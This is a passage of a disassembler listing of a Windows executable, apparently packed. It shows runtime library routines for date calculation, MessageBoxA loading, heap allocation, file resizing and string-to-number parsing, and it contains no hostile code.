ecx, edx jnz short loc_41AE2F xor ecx, ecx cmp eax, dword_431F00 setnl cl loc_41AE2B: ; CODE XREF: sub_41AC90+1AAj mov eax, ecx jmp short loc_41ADF0 ; --------------------------------------------------------------------------- loc_41AE2F: ; CODE XREF: sub_41AC90+18Ej xor ecx, ecx cmp eax, dword_431F10 setl cl jmp short loc_41AE2B sub_41AC90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AE3C proc near ; CODE XREF: sub_41AC90+99p ; sub_41AC90+E8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp cmp [ebp+arg_4], 1 push ebx mov ebx, [ebp+arg_8] push esi jnz loc_41AED7 mov eax, [ebp+arg_C] mov [ebp+arg_8], ebx and [ebp+arg_8], 3 mov esi, eax jnz short loc_41AE67 shl esi, 2 mov eax, dword_431F10[esi] jmp short loc_41AE70 ; --------------------------------------------------------------------------- loc_41AE67: ; CODE XREF: sub_41AE3C+1Ej shl esi, 2 mov eax, dword_431F44[esi] loc_41AE70: ; CODE XREF: sub_41AE3C+29j mov edx, ebx lea ecx, [eax+1] imul edx, 16Dh lea eax, [ebx-1] push edi sar eax, 2 mov edi, ecx push 7 add edi, eax lea eax, [edx+edi-63DBh] pop edi cdq idiv edi mov eax, [ebp+arg_10] pop edi cmp edx, [ebp+arg_14] jge short loc_41AEAA imul eax, 7 sub eax, edx add eax, [ebp+arg_14] lea ecx, [ecx+eax-7] jmp short loc_41AEB4 ; --------------------------------------------------------------------------- loc_41AEAA: ; CODE XREF: sub_41AE3C+5Ej imul eax, 7 sub eax, edx add eax, [ebp+arg_14] add ecx, eax loc_41AEB4: ; CODE XREF: sub_41AE3C+6Cj cmp [ebp+arg_10], 5 jnz short loc_41AEF2 cmp [ebp+arg_8], 0 jnz short loc_41AEC8 mov esi, dword_431F14[esi] jmp short loc_41AECE ; --------------------------------------------------------------------------- loc_41AEC8: ; CODE XREF: sub_41AE3C+82j mov esi, dword_431F48[esi] loc_41AECE: ; CODE XREF: sub_41AE3C+8Aj cmp ecx, esi jle short loc_41AEF2 sub ecx, 7 jmp short loc_41AEF2 ; --------------------------------------------------------------------------- loc_41AED7: ; CODE XREF: sub_41AE3C+Cj mov eax, [ebp+arg_C] test bl, 3 jnz short loc_41AEE8 mov ecx, dword_431F10[eax*4] jmp short loc_41AEEF ; --------------------------------------------------------------------------- loc_41AEE8: ; CODE XREF: sub_41AE3C+A1j mov ecx, dword_431F44[eax*4] loc_41AEEF: ; CODE XREF: sub_41AE3C+AAj add ecx, [ebp+arg_18] loc_41AEF2: ; CODE XREF: sub_41AE3C+7Cj ; sub_41AE3C+94j ... cmp [ebp+arg_0], 1 jnz short loc_41AF23 mov eax, [ebp+arg_1C] mov dword_431EFC, ecx imul eax, 3Ch add eax, [ebp+arg_20] mov dword_431EF8, ebx imul eax, 3Ch add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_431F00, eax jmp short loc_41AF78 ; --------------------------------------------------------------------------- loc_41AF23: ; CODE XREF: sub_41AE3C+BAj mov eax, [ebp+arg_1C] mov dword_431F0C, ecx imul eax, 3Ch add eax, [ebp+arg_20] imul eax, 3Ch add eax, dword_431E68 add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_431F10, eax jns short loc_41AF5B add eax, 5265C00h dec ecx mov dword_431F10, eax jmp short loc_41AF6C ; --------------------------------------------------------------------------- loc_41AF5B: ; CODE XREF: sub_41AE3C+110j mov edx, 5265C00h cmp eax, edx jl short loc_41AF72 sub eax, edx inc ecx mov dword_431F10, eax loc_41AF6C: ; CODE XREF: sub_41AE3C+11Dj mov dword_431F0C, ecx loc_41AF72: ; CODE XREF: sub_41AE3C+126j mov dword_431F08, ebx loc_41AF78: ; CODE XREF: sub_41AE3C+E5j pop esi pop ebx pop ebp retn sub_41AE3C endp ; =============== S U B R O U T I N E ======================================= sub_41AF7C proc near ; CODE XREF: .nsp0:00418F10p arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_41AF8D add esp, 0Ch retn sub_41AF7C endp ; =============== S U B R O U T I N E ======================================= sub_41AF8D proc near ; CODE XREF: sub_41AF7C+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test byte_464101[eax], cl jnz short loc_41AFBA cmp [esp+arg_4], 0 jz short loc_41AFB3 movzx eax, word_4314BA[eax*2] and eax, [esp+arg_4] jmp short loc_41AFB5 ; --------------------------------------------------------------------------- loc_41AFB3: ; CODE XREF: sub_41AF8D+16j xor eax, eax loc_41AFB5: ; CODE XREF: sub_41AF8D+24j test eax, eax jnz short loc_41AFBA retn ; --------------------------------------------------------------------------- loc_41AFBA: ; CODE XREF: sub_41AF8D+Fj ; sub_41AF8D+2Aj push 1 pop eax retn sub_41AF8D endp ; =============== S U B R O U T I N E ======================================= sub_41AFBE proc near ; CODE XREF: sub_419639+11Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx xor ebx, ebx cmp dword_462E84, ebx push esi push edi jnz short loc_41B00D push offset aUser32_dll ; "user32.dll" call dword_41D0B0 ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_41B043 mov esi, dword_41D0B4 push offset aMessageboxa ; "MessageBoxA" push edi call esi ; dword_41D0B4 test eax, eax mov dword_462E84, eax jz short loc_41B043 push offset aGetactivewindo ; "GetActiveWindow" push edi call esi ; dword_41D0B4 push offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_462E88, eax call esi ; dword_41D0B4 mov dword_462E8C, eax loc_41B00D: ; CODE XREF: sub_41AFBE+Bj mov eax, dword_462E88 test eax, eax jz short loc_41B02C call eax ; dword_462E88 mov ebx, eax test ebx, ebx jz short loc_41B02C mov eax, dword_462E8C test eax, eax jz short loc_41B02C push ebx call eax ; dword_462E8C mov ebx, eax loc_41B02C: ; CODE XREF: sub_41AFBE+56j ; sub_41AFBE+5Ej ... push [esp+0Ch+arg_8] push [esp+10h+arg_4] push [esp+14h+arg_0] push ebx call dword_462E84 ; MessageBoxA loc_41B03F: ; CODE XREF: sub_41AFBE+87j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_41B043: ; CODE XREF: sub_41AFBE+1Cj ; sub_41AFBE+33j xor eax, eax jmp short loc_41B03F sub_41AFBE endp ; =============== S U B R O U T I N E ======================================= sub_41B047 proc near ; CODE XREF: sub_4199A3+22p ; sub_4199A3+3Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi imul esi, [esp+0Ch+arg_4] cmp esi, 0FFFFFFE0h mov ebx, esi ja short loc_41B067 test esi, esi jnz short loc_41B061 push 1 pop esi loc_41B061: ; CODE XREF: sub_41B047+15j add esi, 0Fh and esi, 0FFFFFFF0h loc_41B067: ; CODE XREF: sub_41B047+11j ; sub_41B047+65j xor edi, edi cmp esi, 0FFFFFFE0h ja short loc_41B098 cmp ebx, dword_4316CC ja short loc_41B083 push ebx call sub_415723 mov edi, eax pop ecx test edi, edi jnz short loc_41B0AE loc_41B083: ; CODE XREF: sub_41B047+2Dj push esi push 8 push dword_464220 call dword_41D144 ; RtlAllocateHeap mov edi, eax test edi, edi jnz short loc_41B0BA loc_41B098: ; CODE XREF: sub_41B047+25j cmp dword_462C24, 0 jz short loc_41B0BA push esi call sub_415338 test eax, eax pop ecx jz short loc_41B0C0 jmp short loc_41B067 ; --------------------------------------------------------------------------- loc_41B0AE: ; CODE XREF: sub_41B047+3Aj push ebx push 0 push edi call sub_411F70 add esp, 0Ch loc_41B0BA: ; CODE XREF: sub_41B047+4Fj ; sub_41B047+58j mov eax, edi loc_41B0BC: ; CODE XREF: sub_41B047+7Bj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_41B0C0: ; CODE XREF: sub_41B047+63j xor eax, eax jmp short loc_41B0BC sub_41B047 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_419A48 loc_41B0C4: ; CODE XREF: sub_419A48+Ej push esi push edi push 3 xor edi, edi pop esi cmp dword_463EC0, esi jle short loc_41B117 loc_41B0D3: ; CODE XREF: sub_419A48+16CDj mov eax, dword_462EB0 mov eax, [eax+esi*4] test eax, eax jz short loc_41B10E test byte ptr [eax+0Ch], 83h jz short loc_41B0F2 push eax call sub_412540 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41B0F2 inc edi loc_41B0F2: ; CODE XREF: sub_419A48+169Bj ; sub_419A48+16A7j cmp esi, 14h jl short loc_41B10E mov eax, dword_462EB0 push dword ptr [eax+esi*4] call sub_412813 mov eax, dword_462EB0 pop ecx and dword ptr [eax+esi*4], 0 loc_41B10E: ; CODE XREF: sub_419A48+1695j ; sub_419A48+16ADj inc esi cmp esi, dword_463EC0 jl short loc_41B0D3 loc_41B117: ; CODE XREF: sub_419A48+1689j mov eax, edi pop edi pop esi retn ; END OF FUNCTION CHUNK FOR sub_419A48 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B11C proc near ; CODE XREF: sub_419E27+271p var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_412770 push ebx mov ebx, [ebp+arg_0] push esi xor esi, esi cmp ebx, dword_463FE0 jnb loc_41B251 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_463EE0[eax*4] test byte ptr [eax+ecx*8+4], 1 jz loc_41B251 push 1 push esi push ebx call sub_41844F add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_41B25B push 2 push esi push ebx call sub_41844F add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_41B25B push edi mov edi, [ebp+arg_4] sub edi, eax test edi, edi jle short loc_41B1FE push 1000h lea eax, [ebp+var_1000] push esi push eax call sub_411F70 push 8000h push ebx call sub_41BD56 add esp, 14h mov [ebp+arg_4], eax loc_41B1B2: ; CODE XREF: sub_41B11C+BDj mov eax, 1000h cmp edi, eax jge short loc_41B1BD mov eax, edi loc_41B1BD: ; CODE XREF: sub_41B11C+9Dj push eax lea eax, [ebp+var_1000] push eax push ebx call sub_41978C add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_41B1DB sub edi, eax test edi, edi jle short loc_41B1F1 jmp short loc_41B1B2 ; --------------------------------------------------------------------------- loc_41B1DB: ; CODE XREF: sub_41B11C+B5j cmp dword_462BC8, 5 jnz short loc_41B1EE mov dword_462BC4, 0Dh loc_41B1EE: ; CODE XREF: sub_41B11C+C6j or esi, 0FFFFFFFFh loc_41B1F1: ; CODE XREF: sub_41B11C+BBj push [ebp+arg_4] push ebx call sub_41BD56 pop ecx pop ecx jmp short loc_41B23E ; --------------------------------------------------------------------------- loc_41B1FE: ; CODE XREF: sub_41B11C+71j jge short loc_41B23E push 0 push [ebp+arg_4] push ebx call sub_41844F push ebx call sub_419D93 add esp, 10h push eax call near ptr 0AB0000h out 8Bh, eax ; DMA page register 74LS612: ; Channel 5 (address bits 17-23) lock neg esi sbb esi, esi neg esi dec esi cmp esi, 0FFFFFFFFh jnz short loc_41B23E mov dword_462BC4, 0Dh call dword_41D06C ; RtlGetLastWin32Error mov dword_462BC8, eax loc_41B23E: ; CODE XREF: sub_41B11C+E0j ; sub_41B11C:loc_41B1FEj ... push 0 push [ebp+arg_0] push ebx call sub_41844F add esp, 0Ch mov eax, esi pop edi jmp short loc_41B25E ; --------------------------------------------------------------------------- loc_41B251: ; CODE XREF: sub_41B11C+1Aj ; sub_41B11C+36j mov dword_462BC4, 9 loc_41B25B: ; CODE XREF: sub_41B11C+4Ej ; sub_41B11C+63j or eax, 0FFFFFFFFh loc_41B25E: ; CODE XREF: sub_41B11C+133j pop esi pop ebx leave retn sub_41B11C endp ; =============== S U B R O U T I N E ======================================= sub_41B262 proc near ; CODE XREF: sub_41A292+2Bp ; sub_41A292+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] push esi mov esi, [esp+4+arg_4] xor eax, eax lea ecx, [edx+esi] cmp ecx, edx jb short loc_41B278 cmp ecx, esi jnb short loc_41B27B loc_41B278: ; CODE XREF: sub_41B262+10j push 1 pop eax loc_41B27B: ; CODE XREF: sub_41B262+14j mov edx, [esp+4+arg_8] pop esi mov [edx], ecx retn sub_41B262 endp ; =============== S U B R O U T I N E ======================================= sub_41B283 proc near ; CODE XREF: sub_41B33C+40p ; sub_41B33C+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push esi push dword ptr [edi] push dword ptr [esi] call sub_41B262 add esp, 0Ch test eax, eax jz short loc_41B2B5 lea eax, [esi+4] push eax push 1 push dword ptr [eax] call sub_41B262 add esp, 0Ch test eax, eax jz short loc_41B2B5 inc dword ptr [esi+8] loc_41B2B5: ; CODE XREF: sub_41B283+19j ; sub_41B283+2Dj lea eax, [esi+4] push eax push dword ptr [edi+4] push dword ptr [eax] call sub_41B262 add esp, 0Ch test eax, eax jz short loc_41B2CD inc dword ptr [esi+8] loc_41B2CD: ; CODE XREF: sub_41B283+45j lea eax, [esi+8] push eax push dword ptr [edi+8] push dword ptr [eax] call sub_41B262 add esp, 0Ch pop edi pop esi retn sub_41B283 endp ; =============== S U B R O U T I N E ======================================= sub_41B2E1 proc near ; CODE XREF: sub_41B33C+30p ; sub_41B33C+36p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov esi, [eax] mov edi, [eax+4] mov ecx, esi add esi, esi mov [eax], esi lea esi, [edi+edi] shr ecx, 1Fh or esi, ecx mov ecx, [eax+8] mov edx, edi mov [eax+4], esi shr edx, 1Fh shl ecx, 1 or ecx, edx pop edi mov [eax+8], ecx pop esi retn sub_41B2E1 endp ; =============== S U B R O U T I N E ======================================= sub_41B30F proc near ; CODE XREF: sub_41B8D4+1C8p ; sub_41BDCC+17Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov edx, [eax+8] mov ecx, [eax+4] mov esi, edx mov edi, ecx shl esi, 1Fh shr ecx, 1 or ecx, esi mov [eax+4], ecx mov ecx, [eax] shl edi, 1Fh shr ecx, 1 shr edx, 1 or ecx, edi pop edi mov [eax+8], edx mov [eax], ecx pop esi retn sub_41B30F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B33C proc near ; CODE XREF: sub_41B403+3CAp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_8] xor edx, edx cmp eax, edx push esi mov [ebp+var_4], 404Eh mov [ebx], edx mov [ebx+4], edx mov [ebx+8], edx jbe short loc_41B3B0 push edi mov [ebp+arg_8], eax loc_41B363: ; CODE XREF: sub_41B33C+6Fj mov esi, ebx lea edi, [ebp+var_10] movsd movsd push ebx movsd call sub_41B2E1 push ebx call sub_41B2E1 lea eax, [ebp+var_10] push eax push ebx call sub_41B283 push ebx call sub_41B2E1 mov eax, [ebp+arg_0] and [ebp+var_C], 0 and [ebp+var_8], 0 movsx eax, byte ptr [eax] mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax push ebx call sub_41B283 add esp, 1Ch inc [ebp+arg_0] dec [ebp+arg_8] jnz short loc_41B363 xor edx, edx pop edi loc_41B3B0: ; CODE XREF: sub_41B33C+21j ; sub_41B33C+9Fj cmp [ebx+8], edx jnz short loc_41B3DD mov ecx, [ebx+4] mov eax, ecx shr eax, 10h mov [ebx+8], eax mov eax, [ebx] mov esi, eax shr esi, 10h shl ecx, 10h or esi, ecx shl eax, 10h add [ebp+var_4], 0FFF0h mov [ebx+4], esi mov [ebx], eax jmp short loc_41B3B0 ; --------------------------------------------------------------------------- loc_41B3DD: ; CODE XREF: sub_41B33C+77j mov esi, 8000h loc_41B3E2: ; CODE XREF: sub_41B33C+B9j test [ebx+8], esi jnz short loc_41B3F7 push ebx call sub_41B2E1 add [ebp+var_4], 0FFFFh pop ecx jmp short loc_41B3E2 ; --------------------------------------------------------------------------- loc_41B3F7: ; CODE XREF: sub_41B33C+A9j mov ax, word ptr [ebp+var_4] pop esi mov [ebx+0Ah], ax pop ebx leave retn sub_41B33C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B403 proc near ; CODE XREF: sub_41A5DB+17p ; sub_41A608+17p var_5C = byte ptr -5Ch var_45 = byte ptr -45h var_40 = dword ptr -40h var_3A = dword ptr -3Ah var_36 = dword ptr -36h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov edi, [ebp+arg_8] lea eax, [ebp+var_5C] push 1 mov [ebp+var_C], eax xor eax, eax pop edx mov [ebp+var_28], eax mov [ebp+var_18], edx mov [ebp+var_4], eax mov [ebp+var_10], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_2C], eax mov [ebp+var_30], eax mov [ebp+var_1C], eax mov [ebp+var_8], eax mov [ebp+var_14], eax mov [ebp+arg_8], edi loc_41B43E: ; CODE XREF: sub_41B403+52j mov cl, [edi] cmp cl, 20h jz short loc_41B454 cmp cl, 9 jz short loc_41B454 cmp cl, 0Ah jz short loc_41B454 cmp cl, 0Dh jnz short loc_41B457 loc_41B454: ; CODE XREF: sub_41B403+40j ; sub_41B403+45j ... inc edi jmp short loc_41B43E ; --------------------------------------------------------------------------- loc_41B457: ; CODE XREF: sub_41B403+4Fj push 4 pop esi loc_41B45A: ; CODE XREF: sub_41B403+AEj ; sub_41B403+B7j ... mov bl, [edi] inc edi cmp eax, 0Bh ; switch 12 cases ja loc_41B6DD ; default ; jumptable 0041B466 case 10 jmp off_41B8A4[eax*4] ; switch jump loc_41B46D: ; DATA XREF: .nsp0:off_41B8A4o cmp bl, 31h ; jumptable 0041B466 case 0 jl short loc_41B47E cmp bl, 39h jg short loc_41B47E loc_41B477: ; CODE XREF: sub_41B403+C4j ; sub_41B403+118j push 3 jmp loc_41B69B ; --------------------------------------------------------------------------- loc_41B47E: ; CODE XREF: sub_41B403+6Dj ; sub_41B403+72j cmp bl, byte_4316C0 jnz short loc_41B48D loc_41B486: ; CODE XREF: sub_41B403+124j push 5 jmp loc_41B6D3 ; --------------------------------------------------------------------------- loc_41B48D: ; CODE XREF: sub_41B403+81j movsx eax, bl sub eax, 2Bh jz short loc_41B4B3 dec eax dec eax jz short loc_41B4A7 sub eax, 3 jnz loc_41B776 jmp loc_41B536 ; --------------------------------------------------------------------------- loc_41B4A7: ; CODE XREF: sub_41B403+94j push 2 mov [ebp+var_28], 8000h pop eax jmp short loc_41B45A ; --------------------------------------------------------------------------- loc_41B4B3: ; CODE XREF: sub_41B403+90j and [ebp+var_28], 0 push 2 pop eax jmp short loc_41B45A ; --------------------------------------------------------------------------- loc_41B4BC: ; CODE XREF: sub_41B403+63j ; DATA XREF: .nsp0:off_41B8A4o cmp bl, 31h ; jumptable 0041B466 case 1 mov [ebp+var_10], edx jl short loc_41B4C9 cmp bl, 39h jle short loc_41B477 loc_41B4C9: ; CODE XREF: sub_41B403+BFj cmp bl, byte_4316C0 jz loc_41B591 cmp bl, 2Bh jz short loc_41B50B cmp bl, 2Dh jz short loc_41B50B cmp bl, 30h jz short loc_41B536 loc_41B4E4: ; CODE XREF: sub_41B403+207j cmp bl, 43h jle loc_41B776 cmp bl, 45h jle short loc_41B504 cmp bl, 63h jle loc_41B776 cmp bl, 65h jg loc_41B776 loc_41B504: ; CODE XREF: sub_41B403+EDj push 6 jmp loc_41B6D3 ; --------------------------------------------------------------------------- loc_41B50B: ; CODE XREF: sub_41B403+D5j ; sub_41B403+DAj ... dec edi push 0Bh jmp loc_41B6D3 ; --------------------------------------------------------------------------- loc_41B513: ; CODE XREF: sub_41B403+63j ; DATA XREF: .nsp0:off_41B8A4o cmp bl, 31h ; jumptable 0041B466 case 2 jl short loc_41B521 cmp bl, 39h jle loc_41B477 loc_41B521: ; CODE XREF: sub_41B403+113j cmp bl, byte_4316C0 jz loc_41B486 cmp bl, 30h jnz loc_41B6EB loc_41B536: ; CODE XREF: sub_41B403+9Fj ; sub_41B403+DFj mov eax, edx jmp loc_41B45A ; --------------------------------------------------------------------------- loc_41B53D: ; CODE XREF: sub_41B403+63j ; DATA XREF: .nsp0:off_41B8A4o mov [ebp+var_10], edx ; jumptable 0041B466 case 3 loc_41B540: ; CODE XREF: sub_41B403+184j cmp dword_4316BC, edx jle short loc_41B559 movzx eax, bl push esi push eax call sub_414E26 pop ecx pop ecx push 1 pop edx jmp short loc_41B567 ; --------------------------------------------------------------------------- loc_41B559: ; CODE XREF: sub_41B403+143j mov ecx, off_4314B0 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_41B567: ; CODE XREF: sub_41B403+154j test eax, eax jz short loc_41B589 cmp [ebp+var_4], 19h jnb short loc_41B581 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] mov [eax], bl jmp short loc_41B584 ; --------------------------------------------------------------------------- loc_41B581: ; CODE XREF: sub_41B403+16Cj inc [ebp+var_8] loc_41B584: ; CODE XREF: sub_41B403+17Cj mov bl, [edi] inc edi jmp short loc_41B540 ; --------------------------------------------------------------------------- loc_41B589: ; CODE XREF: sub_41B403+166j cmp bl, byte_4316C0 jnz short loc_41B5F8 loc_41B591: ; CODE XREF: sub_41B403+CCj mov eax, esi jmp loc_41B45A ; --------------------------------------------------------------------------- loc_41B598: ; CODE XREF: sub_41B403+63j ; DATA XREF: .nsp0:off_41B8A4o cmp [ebp+var_4], 0 ; jumptable 0041B466 case 4 mov [ebp+var_10], edx mov [ebp+var_24], edx jnz short loc_41B5B1 loc_41B5A4: ; CODE XREF: sub_41B403+1ACj cmp bl, 30h jnz short loc_41B5B1 dec [ebp+var_8] mov bl, [edi] inc edi jmp short loc_41B5A4 ; --------------------------------------------------------------------------- loc_41B5B1: ; CODE XREF: sub_41B403+19Fj ; sub_41B403+1A4j ... cmp dword_4316BC, edx jle short loc_41B5CA movzx eax, bl push esi push eax call sub_414E26 pop ecx pop ecx push 1 pop edx jmp short loc_41B5D8 ; --------------------------------------------------------------------------- loc_41B5CA: ; CODE XREF: sub_41B403+1B4j mov ecx, off_4314B0 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_41B5D8: ; CODE XREF: sub_41B403+1C5j test eax, eax jz short loc_41B5F8 cmp [ebp+var_4], 19h jnb short loc_41B5F3 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] dec [ebp+var_8] mov [eax], bl loc_41B5F3: ; CODE XREF: sub_41B403+1DDj mov bl, [edi] inc edi jmp short loc_41B5B1 ; --------------------------------------------------------------------------- loc_41B5F8: ; CODE XREF: sub_41B403+18Cj ; sub_41B403+1D7j cmp bl, 2Bh jz loc_41B50B cmp bl, 2Dh jz loc_41B50B jmp loc_41B4E4 ; --------------------------------------------------------------------------- loc_41B60F: ; CODE XREF: sub_41B403+63j ; DATA XREF: .nsp0:off_41B8A4o cmp dword_4316BC, edx ; jumptable 0041B466 case 5 mov [ebp+var_24], edx jle short loc_41B62B movzx eax, bl push esi push eax call sub_414E26 pop ecx pop ecx push 1 pop edx jmp short loc_41B639 ; --------------------------------------------------------------------------- loc_41B62B: ; CODE XREF: sub_41B403+215j mov ecx, off_4314B0 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_41B639: ; CODE XREF: sub_41B403+226j test eax, eax jz loc_41B6EB mov eax, esi jmp short loc_41B69C ; --------------------------------------------------------------------------- loc_41B645: ; CODE XREF: sub_41B403+63j ; DATA XREF: .nsp0:off_41B8A4o lea ecx, [edi-2] ; jumptable 0041B466 case 6 cmp bl, 31h mov [ebp+arg_8], ecx jl short loc_41B655 cmp bl, 39h jle short loc_41B699 loc_41B655: ; CODE XREF: sub_41B403+24Bj movsx eax, bl sub eax, 2Bh jz short loc_41B6D1 dec eax dec eax jz short loc_41B6C5 sub eax, 3 jnz loc_41B779 loc_41B66A: ; CODE XREF: sub_41B403+2A4j push 8 jmp short loc_41B6D3 ; --------------------------------------------------------------------------- loc_41B66E: ; CODE XREF: sub_41B403+63j ; DATA XREF: .nsp0:off_41B8A4o mov [ebp+var_20], edx ; jumptable 0041B466 case 8 loc_41B671: ; CODE XREF: sub_41B403+276j cmp bl, 30h jnz short loc_41B67B mov bl, [edi] inc edi jmp short loc_41B671 ; --------------------------------------------------------------------------- loc_41B67B: ; CODE XREF: sub_41B403+271j cmp bl, 31h jl loc_41B776 cmp bl, 39h jg loc_41B776 jmp short loc_41B699 ; --------------------------------------------------------------------------- loc_41B68F: ; CODE XREF: sub_41B403+63j ; DATA XREF: .nsp0:off_41B8A4o cmp bl, 31h ; jumptable 0041B466 case 7 jl short loc_41B6A2 cmp bl, 39h jg short loc_41B6A2 loc_41B699: ; CODE XREF: sub_41B403+250j ; sub_41B403+28Aj push 9 loc_41B69B: ; CODE XREF: sub_41B403+76j pop eax loc_41B69C: ; CODE XREF: sub_41B403+240j dec edi jmp loc_41B45A ; --------------------------------------------------------------------------- loc_41B6A2: ; CODE XREF: sub_41B403+28Fj ; sub_41B403+294j cmp bl, 30h jnz short loc_41B6EB jmp short loc_41B66A ; --------------------------------------------------------------------------- loc_41B6A9: ; CODE XREF: sub_41B403+63j ; DATA XREF: .nsp0:off_41B8A4o cmp [ebp+arg_18], 0 ; jumptable 0041B466 case 11 jz short loc_41B6D9 movsx eax, bl lea ecx, [edi-1] sub eax, 2Bh mov [ebp+arg_8], ecx jz short loc_41B6D1 dec eax dec eax jnz loc_41B779 loc_41B6C5: ; CODE XREF: sub_41B403+25Cj or [ebp+var_18], 0FFFFFFFFh push 7 pop eax jmp loc_41B45A ; --------------------------------------------------------------------------- loc_41B6D1: ; CODE XREF: sub_41B403+258j ; sub_41B403+2B8j push 7 loc_41B6D3: ; CODE XREF: sub_41B403+85j ; sub_41B403+103j ... pop eax jmp loc_41B45A ; --------------------------------------------------------------------------- loc_41B6D9: ; CODE XREF: sub_41B403+2AAj push 0Ah dec edi pop eax loc_41B6DD: ; CODE XREF: sub_41B403+5Dj ; sub_41B403+63j ; DATA XREF: ... cmp eax, 0Ah ; default ; jumptable 0041B466 case 10 jz loc_41B77B jmp loc_41B45A ; --------------------------------------------------------------------------- loc_41B6EB: ; CODE XREF: sub_41B403+12Dj ; sub_41B403+238j ... mov edi, [ebp+arg_8] jmp loc_41B77B ; --------------------------------------------------------------------------- loc_41B6F3: ; CODE XREF: sub_41B403+63j ; DATA XREF: .nsp0:off_41B8A4o mov [ebp+var_20], 1 ; jumptable 0041B466 case 9 xor esi, esi loc_41B6FC: ; CODE XREF: sub_41B403+339j cmp dword_4316BC, 1 jle short loc_41B714 movzx eax, bl push 4 push eax call sub_414E26 pop ecx pop ecx jmp short loc_41B723 ; --------------------------------------------------------------------------- loc_41B714: ; CODE XREF: sub_41B403+300j mov ecx, off_4314B0 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_41B723: ; CODE XREF: sub_41B403+30Fj test eax, eax jz short loc_41B743 movsx ecx, bl lea eax, [esi+esi*4] lea esi, [ecx+eax*2-30h] cmp esi, 1450h jg short loc_41B73E mov bl, [edi] inc edi jmp short loc_41B6FC ; --------------------------------------------------------------------------- loc_41B73E: ; CODE XREF: sub_41B403+334j mov esi, 1451h loc_41B743: ; CODE XREF: sub_41B403+322j mov [ebp+var_1C], esi loc_41B746: ; CODE XREF: sub_41B403+371j cmp dword_4316BC, 1 jle short loc_41B75E movzx eax, bl push 4 push eax call sub_414E26 pop ecx pop ecx jmp short loc_41B76D ; --------------------------------------------------------------------------- loc_41B75E: ; CODE XREF: sub_41B403+34Aj mov ecx, off_4314B0 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_41B76D: ; CODE XREF: sub_41B403+359j test eax, eax jz short loc_41B776 mov bl, [edi] inc edi jmp short loc_41B746 ; --------------------------------------------------------------------------- loc_41B776: ; CODE XREF: sub_41B403+99j ; sub_41B403+E4j ... dec edi jmp short loc_41B77B ; --------------------------------------------------------------------------- loc_41B779: ; CODE XREF: sub_41B403+261j ; sub_41B403+2BCj mov edi, ecx loc_41B77B: ; CODE XREF: sub_41B403+2DDj ; sub_41B403+2EBj ... mov eax, [ebp+arg_4] cmp [ebp+var_10], 0 mov [eax], edi jz loc_41B863 push 18h pop eax cmp [ebp+var_4], eax jbe short loc_41B7A7 cmp [ebp+var_45], 5 jl short loc_41B79B inc [ebp+var_45] loc_41B79B: ; CODE XREF: sub_41B403+393j mov [ebp+var_4], eax mov eax, [ebp+var_C] dec eax inc 